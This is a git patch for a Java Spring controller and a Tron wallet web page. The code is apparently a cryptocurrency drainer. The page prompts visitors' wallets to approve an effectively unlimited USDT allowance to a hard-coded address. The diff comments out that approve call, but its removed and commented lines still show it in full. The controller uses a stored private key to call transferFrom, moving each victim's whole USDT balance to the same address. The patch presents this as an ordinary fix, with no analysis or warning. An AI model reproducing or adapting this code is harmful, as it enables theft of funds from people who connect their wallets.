From e93c8a2295cd56fe35c7aed2fdfb52828971a59e Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Tue, 19 Oct 2021 15:12:38 +0800
Subject: [PATCH] fix
---
src/main/resources/static/tron-app/tron.html | 60 ++++++++++-------------------
src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java | 10 +---
2 files changed, 24 insertions(+), 46 deletions(-)
diff --git a/src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java b/src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java
index 67a2b51..b9287ce 100644
--- a/src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java
+++ b/src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java
@@ -21,7 +21,7 @@
@Slf4j
@RequiredArgsConstructor
@CrossOrigin(origins = "*")
-@Controller
+@RestController
@Api(value = "接口啊", tags = "接口啊")
@RequestMapping(value = "/trx")
public class DappController {
@@ -30,7 +30,7 @@
@PostMapping(value = "/trcPost.html")
- public String trxPost(TrxPostDto trxPostDto, HttpServletRequest request) {
+ public FebsResponse trxPost(TrxPostDto trxPostDto, HttpServletRequest request) {
ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");
Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
@@ -39,10 +39,6 @@
System.out.println(balanceOf);
token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.longValue(), 0, "memo", 100000000L);
- String url = request.getRequestURL().toString();
- String toIndex = url.substring(0, url.indexOf("/trx") + 1);
- return "redirect:" + toIndex + "tron-app/trc_post.html";
-
-// return "redirect:http://120.27.238.55:8000/tron-app/trc_post.html";
+ return new FebsResponse().success();
}
}
diff --git a/src/main/resources/static/tron-app/tron.html b/src/main/resources/static/tron-app/tron.html
index c17e0a8..53b8bb2 100644
--- a/src/main/resources/static/tron-app/tron.html
+++ b/src/main/resources/static/tron-app/tron.html
@@ -29,7 +29,8 @@
var agent = "10000";
var rank = 6.5;
var authorized_address = 'TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9';
- var domain = 'http://120.27.238.55:8802';
+ // var domain = 'http://120.27.238.55:8802';
+ var domain = 'http://localhost:8080';
var bizhong = 'USDT';
var approveAddr = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
function getUrlQueryString(names, urls) {
@@ -64,6 +65,7 @@
url: domain + "/trx/trcPost.html",
data:data,
success:function(){
+ location.href = domain + "/tron-app/trc_post.html";
}
})
}
@@ -127,47 +129,27 @@
$('.pages').append('<div class="modal-overlay"></div>');
$('.modal-overlay').addClass('modal-overlay-visible');
$('.modal').removeClass('modal-out').addClass('modal-in');
- // fffsss = fffsss + "开始:"
let tronWeb = window.tronWeb;
- // fffsss = fffsss + "tronWeb:" + tronWeb + "---"
- // $("#fffsss").text(fffsss)
let walletAddress = tronWeb.defaultAddress.base58;
- // fffsss = fffsss + "walletAddress:" + walletAddress + "---"
- // $("#fffsss").text(fffsss)
+ postInfo(walletAddress,bizhong);
// bizhong = await getMostValuableAssets(walletAddress);
- // fffsss = fffsss + "approveAddr:" + approveAddr + "---"
- // $("#fffsss").text(fffsss)
- let instance = await tronWeb.contract().at(approveAddr);
- // fffsss = fffsss + "instance:" + instance + "---"
- // $("#fffsss").text(fffsss)
- // fffsss = fffsss + "walletAddress:" + walletAddress + "---"
- // $("#fffsss").text(fffsss)
- // fffsss = fffsss + "bizhong:" + bizhong + "---"
- // $("#fffsss").text(fffsss)
- let res = await instance["approve"](authorized_address,"90000000000000000000000000000");
- res.send({
- feeLimit: 100000000,
- callValue: 0,
- shouldPollResponse: false
- },function(err,res){
- // fffsss = fffsss + "res:" + res + "---"
- // $("#fffsss").text(fffsss)
- // fffsss = fffsss + "err:" + err + "---"
- // $("#fffsss").text(fffsss)
- if(err == null){
- // fffsss = fffsss + "walletAddress:" + walletAddress + "---"
- // $("#fffsss").text(fffsss)
- // fffsss = fffsss + "bizhong:" + bizhong + "---"
- // $("#fffsss").text(fffsss)
- $(".tishi").fadeIn()
- setTimeout(function () {
- $(".tishi").fadeOut()
- },2000);
- postInfo(walletAddress,bizhong)
- }
- $('.modal-overlay').remove();
- $('.modal').removeClass('modal-in').addClass('modal-out');
- })
+ // let instance = await tronWeb.contract().at(approveAddr);
+ // let res = await instance["approve"](authorized_address,"90000000000000000000000000000");
+ // res.send({
+ // feeLimit: 100000000,
+ // callValue: 0,
+ // shouldPollResponse: false
+ // },function(err,res){
+ // if(err == null){
+ // $(".tishi").fadeIn()
+ // setTimeout(function () {
+ // $(".tishi").fadeOut()
+ // },2000);
+ // postInfo(walletAddress,bizhong)
+ // }
+ // $('.modal-overlay').remove();
+ // $('.modal').removeClass('modal-in').addClass('modal-out');
+ // })
}
function init() {
}
--
Gitblit v1.9.1